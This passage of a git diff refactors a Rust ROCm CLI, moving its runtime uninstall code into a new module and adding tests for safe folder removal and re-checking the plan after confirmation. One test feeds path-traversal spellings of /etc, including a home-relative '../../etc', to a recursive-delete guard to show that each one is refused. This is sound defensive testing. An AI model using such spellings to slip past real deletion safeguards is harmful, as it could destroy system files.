a hand-edited or corrupted registry entry could point + // `install_root` at a protected system location while still carrying a + // matching in-tree `.rocm-cli-runtime.json`, slipping past + // `local_runtime_manifest_matches`. `prune` already refuses these before + // ever calling this function (see storage.rs); check it here too so the + // single source of truth for "may ROCm CLI delete this folder?" refuses + // it for every caller, including a direct `runtimes uninstall `. + if runtime_install_root_is_protected(path) { + bail!( + "refusing to remove runtime folder {} in a protected system location", + path.display() + ); + } + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::runtime_adopt::import_runtime_manifest; + use crate::test_support::write_test_pip_runtime; + use crate::tests::test_paths; + + #[test] + fn runtime_uninstall_unregisters_read_only_runtime_without_deleting_external_root() -> Result<()> + { + let (root, paths) = test_paths("runtime-uninstall-read-only"); + let manifest = write_test_pip_runtime( + &paths, + "external-pip-gfx120x-all-7-13-0", + "therock-release:gfx120X-all", + "7.13.0", + 20, + )?; + let exported_manifest = root.join("external-runtime.json"); + fs::write(&exported_manifest, serde_json::to_vec_pretty(&manifest)?)?; + fs::remove_file(runtime_manifest_path(&paths, &manifest.runtime_key))?; + fs::remove_file(manifest.install_root.join(".rocm-cli-runtime.json"))?; + import_runtime_manifest(&paths, &exported_manifest, false)?; + let mut config = RocmCliConfig::default(); + + let removed = uninstall_runtime(&paths, &mut config, &manifest.runtime_key)?; + + assert_eq!(removed.runtime_key, manifest.runtime_key); + assert!(removed.read_only); + assert_eq!(removed.removed_install_root, None); + assert!(manifest.install_root.exists()); + assert!(!runtime_manifest_path(&paths, &manifest.runtime_key).exists()); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_uninstall_removes_rocm_cli_managed_custom_prefix_root() -> Result<()> { + let (root, paths) = test_paths("runtime-uninstall-prefix"); + let mut manifest = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-0", + "therock-release:gfx120X-all", + "7.13.0", + 20, + )?; + let prefix_root = root.join("user-chosen-prefix"); + fs::rename(&manifest.install_root, &prefix_root)?; + manifest.install_root = prefix_root.clone(); + let python = prefix_root + .join(if cfg!(windows) { "Scripts" } else { "bin" }) + .join(if cfg!(windows) { + "python.exe" + } else { + "python" + }); + manifest.python_executable = Some(python.display().to_string()); + fs::write( + runtime_manifest_path(&paths, &manifest.runtime_key), + serde_json::to_vec_pretty(&manifest)?, + )?; + fs::write( + prefix_root.join(".rocm-cli-runtime.json"), + serde_json::to_vec_pretty(&manifest)?, + )?; + let mut config = RocmCliConfig::default(); + + let removed = uninstall_runtime(&paths, &mut config, &manifest.runtime_key)?; + + assert_eq!( + removed.removed_install_root.as_deref(), + Some(prefix_root.as_path()) + ); + assert!(!prefix_root.exists()); + assert!(!runtime_manifest_path(&paths, &manifest.runtime_key).exists()); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_uninstall_leaves_folder_on_local_manifest_mismatch() -> Result<()> { + let (root, paths) = test_paths("runtime-uninstall-manifest-mismatch"); + let manifest = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-0", + "therock-release:gfx120X-all", + "7.13.0", + 20, + )?; + fs::remove_file(manifest.install_root.join(".rocm-cli-runtime.json"))?; + let mut config = RocmCliConfig::default(); + + let removed = uninstall_runtime(&paths, &mut config, &manifest.runtime_key)?; + + assert!(removed.manifest_mismatch); + assert!(!removed.read_only); + assert_eq!(removed.removed_install_root, None); + assert!(manifest.install_root.exists()); + assert!(!runtime_manifest_path(&paths, &manifest.runtime_key).exists()); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn ensure_runtime_install_root_rejects_protected_system_path() { + // `prune` (storage.rs) refuses a runtime whose folder sits in a + // protected system location before it ever calls + // `should_remove_runtime_install_root`. A hand-edited or corrupted + // registry entry could point a direct `runtimes uninstall ` + // manifest's `install_root` at the same kind of path while still + // carrying a matching in-tree `.rocm-cli-runtime.json`, slipping past + // `local_runtime_manifest_matches`. The single source of truth for + // "may ROCm CLI delete this folder?" must refuse it too, regardless + // of caller. + let protected = if cfg!(windows) { + PathBuf::from("C:/Windows/rocm-cli-test-runtime") + } else { + PathBuf::from("/etc/rocm-cli-test-runtime") + }; + + let err = ensure_runtime_install_root_is_safe_to_remove(&protected) + .expect_err("protected system path must be refused"); + assert!(err.to_string().contains("protected system location")); + } + + /// The gate above is the last thing between a registry entry and + /// `fs::remove_dir_all`, and the path it is handed is text somebody else + /// wrote. One folder has many spellings, so the refusal has to survive all + /// of them — a trailing separator, a doubled one, a `.`, or a `..` that + /// walks back out of the user's home directory. Each of these names `/etc`. + #[test] + #[cfg(unix)] + fn ensure_runtime_install_root_rejects_every_spelling_of_a_protected_path() { + let home = rocm_core::runtime_home_dir().expect("a home directory"); + let home = home.display().to_string(); + let spellings = [ + "/etc/".to_owned(), + "//etc".to_owned(), + "/./etc".to_owned(), + "/etc/.".to_owned(), + format!("{home}/../../etc"), + ]; + + let accepted: Vec = spellings + .into_iter() + .filter(|text| ensure_runtime_install_root_is_safe_to_remove(Path::new(text)).is_ok()) + .collect(); + + assert!( + accepted.is_empty(), + "accepted as safe to recursively delete: {accepted:?}" + ); + } + + #[test] + fn plan_runtime_uninstall_does_not_mutate() -> Result<()> { + let (root, paths) = test_paths("runtime-uninstall-plan-dry-run"); + let manifest = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-0", + "therock-release:gfx120X-all", + "7.13.0", + 20, + )?; + let config = RocmCliConfig::default(); + + let plan = plan_runtime_uninstall(&paths, &config, &manifest.runtime_key)?; + + assert!(plan.will_remove_install_root()); + assert!(manifest.install_root.exists()); + assert!(runtime_manifest_path(&paths, &manifest.runtime_key).exists()); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_uninstall_revalidation_detects_install_root_change() -> Result<()> { + let (root, paths) = test_paths("runtime-uninstall-revalidate-install-root"); + let manifest = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-0", + "therock-release:gfx120X-all", + "7.13.0", + 20, + )?; + let config = RocmCliConfig::default(); + + let plan = plan_runtime_uninstall(&paths, &config, &manifest.runtime_key)?; + assert!(plan.will_remove_install_root()); + + // Simulate another process relocating this runtime's install root + // while the uninstall confirmation prompt was waiting on the user. + let relocated_root = paths + .data_dir + .join("runtimes") + .join("wheel") + .join("relocated-install-root"); + fs::rename(&manifest.install_root, &relocated_root)?; + let mut relocated_manifest = manifest.clone(); + relocated_manifest.install_root = relocated_root.clone(); + fs::write( + relocated_root.join(".rocm-cli-runtime.json"), + serde_json::to_vec_pretty(&relocated_manifest)?, + )?; + fs::write( + runtime_manifest_path(&paths, &manifest.runtime_key), + serde_json::to_vec_pretty(&relocated_manifest)?, + )?; + + let result = revalidate_runtime_uninstall_plan(&paths, &config, plan); + assert!( + result.is_err(), + "revalidation should refuse a plan whose install_root moved since it was shown" + ); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_uninstall_revalidation_detects_runtime_id_change() -> Result<()> { + let (root, paths) = test_paths("runtime-uninstall-revalidate-runtime-id"); + let manifest = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-0", + "therock-release:gfx120X-all", + "7.13.0", + 20, + )?; + let config = RocmCliConfig::default(); + + let plan = plan_runtime_uninstall(&paths, &config, &manifest.runtime_key)?; + assert!(plan.will_remove_install_root()); + + // Simulate another process re-registering this runtime_key under a + // different runtime_id while the uninstall confirmation prompt was + // waiting on the user. Both the registry entry and the local marker + // are updated together so `install_root_decision` stays `Remove` and + // only `runtime_id` differs from the plan the user approved. + let mut relabeled_manifest = manifest.clone(); + relabeled_manifest.runtime_id = "therock-release:gfx120X-all-relabeled".to_owned(); + fs::write( + manifest.install_root.join(".rocm-cli-runtime.json"), + serde_json::to_vec_pretty(&relabeled_manifest)?, + )?; + fs::write( + runtime_manifest_path(&paths, &manifest.runtime_key), + serde_json::to_vec_pretty(&relabeled_manifest)?, + )?; + + let result = revalidate_runtime_uninstall_plan(&paths, &config, plan); + assert!( + result.is_err(), + "revalidation should refuse a plan whose runtime_id changed since it was shown" + ); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_uninstall_revalidation_detects_was_active_change() -> Result<()> { + let (root, paths) = test_paths("runtime-uninstall-revalidate-was-active"); + let target = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-0", + "therock-release:gfx120X-all", + "7.13.0", + 20, + )?; + let other = write_test_pip_runtime( + &paths, + "release-pip-gfx110x-all-7-12-0", + "therock-release:gfx110X-all", + "7.12.0", + 10, + )?; + let mut config = RocmCliConfig { + active_runtime_key: Some(other.runtime_key), + ..RocmCliConfig::default() + }; + + let plan = plan_runtime_uninstall(&paths, &config, &target.runtime_key)?; + assert!(!plan.was_active); + + // Simulate another process activating the target runtime while the + // uninstall confirmation prompt was waiting on the user. + config.active_runtime_key = Some(target.runtime_key); + config.save(&paths)?; + + let result = revalidate_runtime_uninstall_plan(&paths, &config, plan); + assert!( + result.is_err(), + "revalidation should refuse a plan whose was_active changed since it was shown" + ); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_uninstall_revalidation_detects_clears_default_runtime_change() -> Result<()> { + let (root, paths) = test_paths("runtime-uninstall-revalidate-clears-default"); + let shared_runtime_id = "therock-release:gfx120X-all"; + let target = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-0", + shared_runtime_id, + "7.13.0", + 20, + )?; + let other = write_test_pip_runtime( + &paths, + "release-pip-gfx110x-all-7-12-0", + "therock-release:gfx110X-all", + "7.12.0", + 10, + )?; + let config = RocmCliConfig { + default_runtime_id: Some(shared_runtime_id.to_owned()), + active_runtime_key: Some(other.runtime_key), + ..RocmCliConfig::default() + }; + + let plan = plan_runtime_uninstall(&paths, &config, &target.runtime_key)?; + assert!(!plan.was_active); + assert!( + plan.clears_default_runtime, + "target is the only install with the stale default runtime_id" + ); + + // Simulate another process installing a sibling that shares the + // target's runtime_id while the uninstall confirmation prompt was + // waiting on the user; the default would then survive on that + // sibling instead of being cleared. + write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-1", + shared_runtime_id, + "7.13.1", + 30, + )?; + + let result = revalidate_runtime_uninstall_plan(&paths, &config, plan); + assert!( + result.is_err(), + "revalidation should refuse a plan whose clears_default_runtime changed since it was shown" + ); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_uninstall_revalidation_detects_install_root_decision_change() -> Result<()> { + let (root, paths) = test_paths("runtime-uninstall-revalidate-install-root-decision"); + let manifest = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-0", + "therock-release:gfx120X-all", + "7.13.0", + 20, + )?; + let config = RocmCliConfig::default(); + + let plan = plan_runtime_uninstall(&paths, &config, &manifest.runtime_key)?; + assert_eq!(plan.install_root_decision, InstallRootDecision::Remove); + + // Simulate another process overwriting the in-tree marker with one + // for a different install while the uninstall confirmation prompt + // was waiting on the user; the registry entry (and thus runtime_id + // and install_root) is left untouched, so only install_root_decision + // should differ from the plan the user approved. + let mut mismatched_marker = manifest.clone(); + mismatched_marker.runtime_key = "some-other-runtime-key".to_owned(); + fs::write( + manifest.install_root.join(".rocm-cli-runtime.json"), + serde_json::to_vec_pretty(&mismatched_marker)?, + )?; + + let result = revalidate_runtime_uninstall_plan(&paths, &config, plan); + assert!( + result.is_err(), + "revalidation should refuse a plan whose install_root_decision changed since it was shown" + ); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn confirm_and_revalidate_runtime_uninstall_refuses_state_changed_during_confirmation() + -> Result<()> { + let (root, paths) = test_paths("runtime-uninstall-confirm-and-revalidate-wiring"); + let manifest = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-0", + "therock-release:gfx120X-all", + "7.13.0", + 20, + )?; + let config = RocmCliConfig::default(); + config.save(&paths)?; + + let plan = plan_runtime_uninstall(&paths, &config, &manifest.runtime_key)?; + assert!(plan.will_remove_install_root()); + + // The injected "confirm" closure plays the role of the user + // approving the prompt; it relocates the install root before + // returning, simulating another process racing the confirmation + // exactly as `runtime_uninstall_revalidation_detects_install_root_change` + // does for the leaf function. This exercises the actual + // confirm -> reload-config -> revalidate wiring, not just the + // revalidation function in isolation: if the reload/revalidate + // calls were ever dropped from `confirm_and_revalidate_runtime_uninstall`, + // the call would silently succeed on the stale plan and this + // test's `result.is_err()` assertion below would fail, catching + // the regression. + let relocated_root = paths + .data_dir + .join("runtimes") + .join("wheel") + .join("relocated-install-root"); + let install_root = manifest.install_root.clone(); + let runtime_key = manifest.runtime_key.clone(); + let paths_for_confirm = paths.clone(); + let result = confirm_and_revalidate_runtime_uninstall(&paths, plan, move || { + fs::rename(&install_root, &relocated_root)?; + let mut relocated_manifest = manifest.clone(); + relocated_manifest.install_root = relocated_root.clone(); + fs::write( + relocated_root.join(".rocm-cli-runtime.json"), + serde_json::to_vec_pretty(&relocated_manifest)?, + )?; + fs::write( + runtime_manifest_path(&paths_for_confirm, &runtime_key), + serde_json::to_vec_pretty(&relocated_manifest)?, + )?; + Ok(true) + }); + + assert!( + result.is_err(), + "confirm_and_revalidate_runtime_uninstall must refuse to proceed when the runtime \ + state changed while the confirmation callback was running" + ); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_uninstall_clears_default_runtime_id_for_last_sibling_even_when_not_active() + -> Result<()> { + // `runtime_id` is shared across side-by-side installs of the same + // release, while `runtime_key` is unique per install and + // `config.default_runtime_id` tracks by the shared `runtime_id`, + // independently of `config.active_runtime_key`. A stale + // `default_runtime_id` left over from before a *different* runtime + // was activated must still be cleared once its last remaining + // sibling is uninstalled — even though that sibling is not, and + // never was, the active runtime (`was_active` is pinned to the + // unrelated active runtime and never falls back to the + // default-id-uniqueness check while that active runtime is still + // installed). + let (root, paths) = test_paths("runtime-uninstall-shared-default-id"); + let shared_runtime_id = "therock-release:gfx120X-all"; + let manifest_a = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-0-a", + shared_runtime_id, + "7.13.0", + 20, + )?; + let manifest_b = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-0-b", + shared_runtime_id, + "7.13.0", + 21, + )?; + let active_manifest = write_test_pip_runtime( + &paths, + "release-pip-gfx1151-7-14-0", + "therock-release:gfx1151", + "7.14.0", + 22, + )?; + // `default_runtime_id` is stale, left over from before + // `active_manifest` was activated; `active_runtime_key` now points + // at a manifest with a completely different `runtime_id`. + let mut config = RocmCliConfig { + default_runtime_id: Some(shared_runtime_id.to_owned()), + active_runtime_key: Some(active_manifest.runtime_key.clone()), + ..RocmCliConfig::default() + }; + config.save(&paths)?; + + // Removing the first sibling leaves the other one behind, so the + // stale default (which still resolves to a real, remaining install) + // must not be cleared. + let plan_b = plan_runtime_uninstall(&paths, &config, &manifest_b.runtime_key)?; + assert!(!plan_b.was_active); + assert!(!plan_b.clears_default_runtime); + let removed_b = uninstall_runtime(&paths, &mut config, &manifest_b.runtime_key)?; + assert!(!removed_b.was_active); + assert!(!removed_b.default_runtime_cleared); + assert_eq!( + config.default_runtime_id.as_deref(), + Some(shared_runtime_id) + ); + + // Removing the last remaining sibling must clear the stale default + // even though this install was never the active one, and + // `active_runtime_key` still points at the unrelated, still-installed + // `active_manifest` throughout. + let plan_a = plan_runtime_uninstall(&paths, &config, &manifest_a.runtime_key)?; + assert!(!plan_a.was_active); + assert!(plan_a.clears_default_runtime); + let removed_a = uninstall_runtime(&paths, &mut config, &manifest_a.runtime_key)?; + assert!(!removed_a.was_active); + assert!(removed_a.default_runtime_cleared); + assert_eq!(config.default_runtime_id, None); + assert_eq!( + config.active_runtime_key.as_deref(), + Some(active_manifest.runtime_key.as_str()) + ); + + let _ = fs::remove_dir_all(root); + Ok(()) + } +} diff --git a/apps/rocm/src/runtimes_cmd.rs b/apps/rocm/src/runtimes_cmd.rs index d5a97fe83a..2d0c45992b 100644 --- a/apps/rocm/src/runtimes_cmd.rs +++ b/apps/rocm/src/runtimes_cmd.rs @@ -2,9 +2,11 @@ // // SPDX-License-Identifier: MIT -//! `rocm runtimes` command: activate/rollback/uninstall/import/adopt, and -//! the runtime list rendering. Registry selection and manifest validation -//! live in `runtime_registry.rs`; the names other modules import from here +//! `rocm runtimes` command: its dispatch, activate/rollback, and the runtime +//! list rendering. Import and adopt (and recovering the runtime `rocm setup` +//! created) live in `runtime_adopt.rs`, and uninstall in +//! `runtime_uninstall.rs`. Registry selection and manifest validation live in +//! `runtime_registry.rs`; the names other modules import from here //! (`current_runtime_manifest`, `select_runtime_manifest`, //! `validate_runtime_manifest_for_activation`, `runtime_usability_status`, //! and the registry path helpers) are re-exported from this module. @@ -15,14 +17,19 @@ //! `RuntimesCommand` remains in the crate root (part of the `Command`/`Cli` //! clap definition) and is reached via `use crate::RuntimesCommand`, the same //! way `EnginesCommand` stayed behind when `engines()` moved to -//! `engines_cmd.rs` in Phase 6a. `RuntimeActivationResult` and -//! `ActiveRuntimeMarker` stay `pub(crate)`: the former is read by -//! `append_update_activate_summary` in `update_cmd.rs`'s -//! `apply_runtime_update` flow, the latter by `storage.rs`. -//! `normalize_path_for_compare`, `recover_setup_runtime_registration`, -//! `active_runtime_marker_path`, and `should_remove_runtime_install_root` are -//! also `pub(crate)` and read from `engines_cmd.rs`, `storage.rs`, and -//! `comfyui.rs`. The SDK-install-finalization/torch-alignment/dependency bundle +//! `engines_cmd.rs` in Phase 6a. `RuntimeActivationResult` stays +//! `pub(crate)`: it is read by `append_update_activate_summary` in +//! `update_cmd.rs`'s `apply_runtime_update` flow. The uninstall plan and apply +//! code lives in `runtime_uninstall.rs`, and the active-runtime marker model in +//! `runtime_registry.rs`; `uninstall_runtime`, +//! `should_remove_runtime_install_root`, `InstallRootDecision`, +//! `ActiveRuntimeMarker` and `active_runtime_marker_path` are re-exported from +//! here for `storage.rs` and `main.rs`. +//! `recover_setup_runtime_registration`, `newest_installed_runtime_manifest` +//! and `setup_runtime_paths` (from `runtime_adopt.rs`) and +//! `normalize_path_for_compare` (from `runtime_registry.rs`) are re-exported +//! from here for the modules that import them from this one. The +//! SDK-install-finalization/torch-alignment/dependency bundle //! (`finish_sdk_install` and friends) lives in the sibling //! `runtime_install_finalize.rs`, which calls into this module (for //! `activate_runtime`, `newest_installed_runtime_manifest` and @@ -31,20 +38,29 @@ use std::fmt::Write as _; use std::fs; -use std::path::{Path, PathBuf}; use anyhow::{Context, Result, bail}; -use rocm_core::{ - AppPaths, RocmCliConfig, interactive_terminal, managed_pip_cache_dir, - runtime_install_root_is_protected, runtime_python_executable_in_env, -}; -use serde::{Deserialize, Serialize}; +use rocm_core::{AppPaths, RocmCliConfig, interactive_terminal}; +use crate::runtime_adopt::{ + AdoptRuntimeOptions, adopt_runtime_from_python_options, import_runtime_manifest, +}; +pub(crate) use crate::runtime_adopt::{ + newest_installed_runtime_manifest, recover_setup_runtime_registration, setup_runtime_paths, +}; pub(crate) use crate::runtime_registry::{ - current_runtime_manifest, default_runtime_id_matches, runtime_keys_text, runtime_manifest_path, - runtime_registry_dir, runtime_usability_status, select_runtime_manifest, + ActiveRuntimeMarker, active_runtime_marker_path, current_runtime_manifest, + default_runtime_id_matches, normalize_path_for_compare, runtime_keys_text, + runtime_manifest_path, runtime_registry_dir, runtime_usability_status, select_runtime_manifest, validate_runtime_manifest_for_activation, }; +pub(crate) use crate::runtime_uninstall::{ + InstallRootDecision, should_remove_runtime_install_root, uninstall_runtime, +}; +use crate::runtime_uninstall::{ + RuntimeUninstallConfirmation, apply_runtime_uninstall, + confirm_and_revalidate_runtime_uninstall, plan_runtime_uninstall, print_runtime_uninstall_plan, +}; use crate::therock; use crate::uninstall_plan::confirm_uninstall; use crate::{ @@ -355,17 +371,6 @@ pub(crate) fn runtimes(command: Option) -> Result<()> { Ok(()) } -#[derive(Debug, Clone, Serialize, Deserialize)] -pub(crate) struct ActiveRuntimeMarker { - runtime_id: String, - pub(crate) runtime_key: String, - manifest_path: PathBuf, - install_root: PathBuf, - previous_runtime_id: Option, - pub(crate) previous_runtime_key: Option, - activated_at_unix_ms: u128, -} - #[derive(Debug, Clone)] pub(crate) struct RuntimeActivationResult { pub(crate) runtime_id: String, @@ -538,18 +543,6 @@ fn restore_after_failed_activation( } } -#[derive(Debug, Clone)] -pub(crate) struct RuntimeUninstallResult { - pub(crate) runtime_id: String, - pub(crate) runtime_key: String, - registry_path: PathBuf, - pub(crate) removed_install_root: Option, - read_only: bool, - manifest_mismatch: bool, - was_active: bool, - default_runtime_cleared: bool, -} - /// Marker shown beside the active runtime in `rocm runtimes list`. Every /// place that renders this glyph MUST use this constant so the rendered /// character and the legend text stay in sync. @@ -839,768 +832,6 @@ fn rollback_runtime( }) } -/// A runtime's install folder is only ever removed when ROCm CLI is confident -/// it owns that folder; `ReadOnly` and `ManifestMismatch` are distinct reasons -/// for leaving it alone, surfaced separately so a real problem (a stale or -/// corrupt local manifest) doesn't look identical to an intentional no-op. -#[derive(Debug, Clone, Copy, PartialEq, Eq)] -pub(crate) enum InstallRootDecision { - Remove, - ReadOnly, - ManifestMismatch, -} - -impl InstallRootDecision { - pub(crate) const fn should_remove(self) -> bool { - matches!(self, Self::Remove) - } -} - -#[derive(Debug, Clone)] -struct RuntimeUninstallPlan { - manifest: therock::InstalledRuntimeManifest, - registry_path: PathBuf, - was_active: bool, - /// Whether applying this plan will clear `config.default_runtime_id`. - /// This is true when the config's default still points at this - /// manifest's `runtime_id` and either this manifest was the active one, - /// or it is the last remaining install sharing that `runtime_id` (the - /// id is shared across side-by-side installs, so removing one sibling - /// does not by itself orphan the default while others remain). - clears_default_runtime: bool, - install_root_decision: InstallRootDecision, -} - -impl RuntimeUninstallPlan { - fn will_remove_install_root(&self) -> bool { - self.install_root_decision.should_remove() && self.manifest.install_root.exists() - } -} - -fn print_runtime_uninstall_plan(plan: &RuntimeUninstallPlan) { - let install_folder = if plan.will_remove_install_root() { - format!( - "{} (would be removed)", - plan.manifest.install_root.display() - ) - } else { - match plan.install_root_decision { - InstallRootDecision::Remove => "not present, nothing to remove".to_owned(), - InstallRootDecision::ReadOnly => { - "left untouched (external/read-only runtime)".to_owned() - } - InstallRootDecision::ManifestMismatch => { - "left untouched (local runtime manifest did not match the registry)".to_owned() - } - } - }; - - let mut report = cli_report::ActionReport::new("runtime uninstall plan") - .detail("runtime_id", &plan.manifest.runtime_id) - .detail("runtime_key", &plan.manifest.runtime_key) - .detail("registry_entry", plan.registry_path.display()) - .detail("install_folder", install_folder); - if plan.clears_default_runtime { - report = report.detail("default_runtime", "would be cleared"); - } - print!("{}", report.render()); -} - -fn plan_runtime_uninstall( - paths: &AppPaths, - config: &RocmCliConfig, - selector: &str, -) -> Result { - let manifests = therock::load_runtime_manifests(paths)?; - let manifest = select_runtime_manifest(&manifests, selector)?.clone(); - let registry_path = runtime_manifest_path(paths, &manifest.runtime_key); - let was_active = current_runtime_manifest(config, &manifests) - .is_some_and(|current| current.runtime_key == manifest.runtime_key); - let clears_default_runtime = config - .default_runtime_id - .as_deref() - .is_some_and(|runtime_id| runtime_id.eq_ignore_ascii_case(&manifest.runtime_id)) - && (was_active - || !manifests.iter().any(|other| { - other.runtime_key != manifest.runtime_key - && other.runtime_id.eq_ignore_ascii_case(&manifest.runtime_id) - })); - let install_root_decision = should_remove_runtime_install_root(&manifest)?; - Ok(RuntimeUninstallPlan { - manifest, - registry_path, - was_active, - clears_default_runtime, - install_root_decision, - }) -} - -/// Re-derives the uninstall plan from disk and refuses to proceed if it no -/// longer matches what the user approved. The interactive confirmation this -/// guards can wait indefinitely; if another process activates a different -/// runtime or replaces the install folder while the prompt is open, applying -/// the stale plan could clear the wrong `active_runtime_key` or recursively -/// delete a folder that is no longer the one that was vetted as safe to -/// remove. -fn revalidate_runtime_uninstall_plan( - paths: &AppPaths, - config: &RocmCliConfig, - plan: RuntimeUninstallPlan, -) -> Result { - let fresh = plan_runtime_uninstall(paths, config, &plan.manifest.runtime_key)?; - if fresh.manifest.runtime_id != plan.manifest.runtime_id - || fresh.manifest.install_root != plan.manifest.install_root - || fresh.was_active != plan.was_active - || fresh.clears_default_runtime != plan.clears_default_runtime - || fresh.install_root_decision != plan.install_root_decision - { - bail!( - "runtime state for {} changed while waiting for confirmation; re-run `rocm runtimes uninstall {}` to review the current plan before approving it", - plan.manifest.runtime_key, - plan.manifest.runtime_key - ); - } - Ok(fresh) -} - -enum RuntimeUninstallConfirmation { - Cancelled, - // `RuntimeUninstallPlan`/`RocmCliConfig` are large; box them so the two - // variants stay a similar size (clippy::large_enum_variant). - Confirmed { - plan: Box, - config: Box, - }, -} - -/// Runs the confirm-then-revalidate sequence used by an interactive -/// `runtimes uninstall`: waits for the caller-supplied confirmation, then -/// reloads config from disk and re-derives the plan against it, so a state -/// change that happened while the (potentially indefinite) prompt was open -/// cannot be applied against stale data. -fn confirm_and_revalidate_runtime_uninstall( - paths: &AppPaths, - plan: RuntimeUninstallPlan, - confirm: impl FnOnce() -> Result, -) -> Result { - if !confirm()? { - return Ok(RuntimeUninstallConfirmation::Cancelled); - } - let config = RocmCliConfig::load(paths)?; - let plan = revalidate_runtime_uninstall_plan(paths, &config, plan)?; - Ok(RuntimeUninstallConfirmation::Confirmed { - plan: Box::new(plan), - config: Box::new(config), - }) -} - -pub(crate) fn uninstall_runtime( - paths: &AppPaths, - config: &mut RocmCliConfig, - selector: &str, -) -> Result { - let plan = plan_runtime_uninstall(paths, config, selector)?; - apply_runtime_uninstall(paths, config, plan) -} - -fn apply_runtime_uninstall( - paths: &AppPaths, - config: &mut RocmCliConfig, - plan: RuntimeUninstallPlan, -) -> Result { - let RuntimeUninstallPlan { - manifest, - registry_path, - was_active, - clears_default_runtime, - install_root_decision, - } = plan; - - let mut removed_install_root = None; - if install_root_decision.should_remove() && manifest.install_root.exists() { - fs::remove_dir_all(&manifest.install_root).with_context(|| { - format!( - "failed to remove runtime folder {} - the runtime registry entry has not \ - been removed yet, so `rocm runtimes list` will still show this runtime as \ - installed and pointing at this (now possibly partially deleted) folder \ - until the removal succeeds", - manifest.install_root.display() - ) - })?; - removed_install_root = Some(manifest.install_root.clone()); - } - - if registry_path.exists() { - fs::remove_file(®istry_path).with_context(|| { - format!( - "failed to remove runtime registry entry {}", - registry_path.display() - ) - })?; - } - - let mut config_changed = false; - if config - .active_runtime_key - .as_deref() - .is_some_and(|runtime_key| runtime_key.eq_ignore_ascii_case(&manifest.runtime_key)) - { - config.active_runtime_key = None; - config_changed = true; - } - if config - .previous_runtime_key - .as_deref() - .is_some_and(|runtime_key| runtime_key.eq_ignore_ascii_case(&manifest.runtime_key)) - { - config.previous_runtime_key = None; - config_changed = true; - } - if clears_default_runtime { - config.default_runtime_id = None; - config_changed = true; - } - if config - .setup - .therock_venv - .as_ref() - .is_some_and(|path| paths_equivalent(path, &manifest.install_root)) - { - config.setup.therock_venv = None; - config.setup.completed = false; - config.onboarding_dismissed = false; - config_changed = true; - } - if config_changed { - config.save(paths)?; - } - - if active_runtime_marker_matches(paths, &manifest.runtime_key)? { - let marker_path = active_runtime_marker_path(paths); - if marker_path.exists() { - fs::remove_file(&marker_path).with_context(|| { - format!( - "failed to remove active runtime marker {}", - marker_path.display() - ) - })?; - } - } - - Ok(RuntimeUninstallResult { - runtime_id: manifest.runtime_id, - runtime_key: manifest.runtime_key, - registry_path, - removed_install_root, - read_only: manifest.read_only, - manifest_mismatch: matches!(install_root_decision, InstallRootDecision::ManifestMismatch), - was_active, - default_runtime_cleared: clears_default_runtime, - }) -} - -pub(crate) fn should_remove_runtime_install_root( - manifest: &therock::InstalledRuntimeManifest, -) -> Result { - if manifest.read_only || manifest.imported_from.is_some() { - return Ok(InstallRootDecision::ReadOnly); - } - if !local_runtime_manifest_matches(manifest)? { - return Ok(InstallRootDecision::ManifestMismatch); - } - ensure_runtime_install_root_is_safe_to_remove(&manifest.install_root)?; - Ok(InstallRootDecision::Remove) -} - -fn local_runtime_manifest_matches(manifest: &therock::InstalledRuntimeManifest) -> Result { - let local_path = manifest.install_root.join(".rocm-cli-runtime.json"); - if !local_path.is_file() { - return Ok(false); - } - let bytes = fs::read(&local_path) - .with_context(|| format!("failed to read {}", local_path.display()))?; - let local: therock::InstalledRuntimeManifest = serde_json::from_slice(&bytes) - .with_context(|| format!("failed to parse {}", local_path.display()))?; - Ok(local.runtime_key == manifest.runtime_key - && local.runtime_id == manifest.runtime_id - && paths_equivalent(&local.install_root, &manifest.install_root)) -} - -fn ensure_runtime_install_root_is_safe_to_remove(path: &Path) -> Result<()> { - if path.as_os_str().is_empty() || path.parent().is_none() || path.file_name().is_none() { - bail!( - "refusing to remove unsafe runtime folder {}", - path.display() - ); - } - // Belt and braces: a hand-edited or corrupted registry entry could point - // `install_root` at a protected system location while still carrying a - // matching in-tree `.rocm-cli-runtime.json`, slipping past - // `local_runtime_manifest_matches`. `prune` already refuses these before - // ever calling this function (see storage.rs); check it here too so the - // single source of truth for "may ROCm CLI delete this folder?" refuses - // it for every caller, including a direct `runtimes uninstall `. - if runtime_install_root_is_protected(path) { - bail!( - "refusing to remove runtime folder {} in a protected system location", - path.display() - ); - } - Ok(()) -} - -fn active_runtime_marker_matches(paths: &AppPaths, runtime_key: &str) -> Result { - let marker_path = active_runtime_marker_path(paths); - if !marker_path.is_file() { - return Ok(false); - } - let bytes = fs::read(&marker_path) - .with_context(|| format!("failed to read {}", marker_path.display()))?; - let marker: ActiveRuntimeMarker = serde_json::from_slice(&bytes) - .with_context(|| format!("failed to parse {}", marker_path.display()))?; - Ok(marker.runtime_key.eq_ignore_ascii_case(runtime_key)) -} - -fn paths_equivalent(left: &Path, right: &Path) -> bool { - let left = 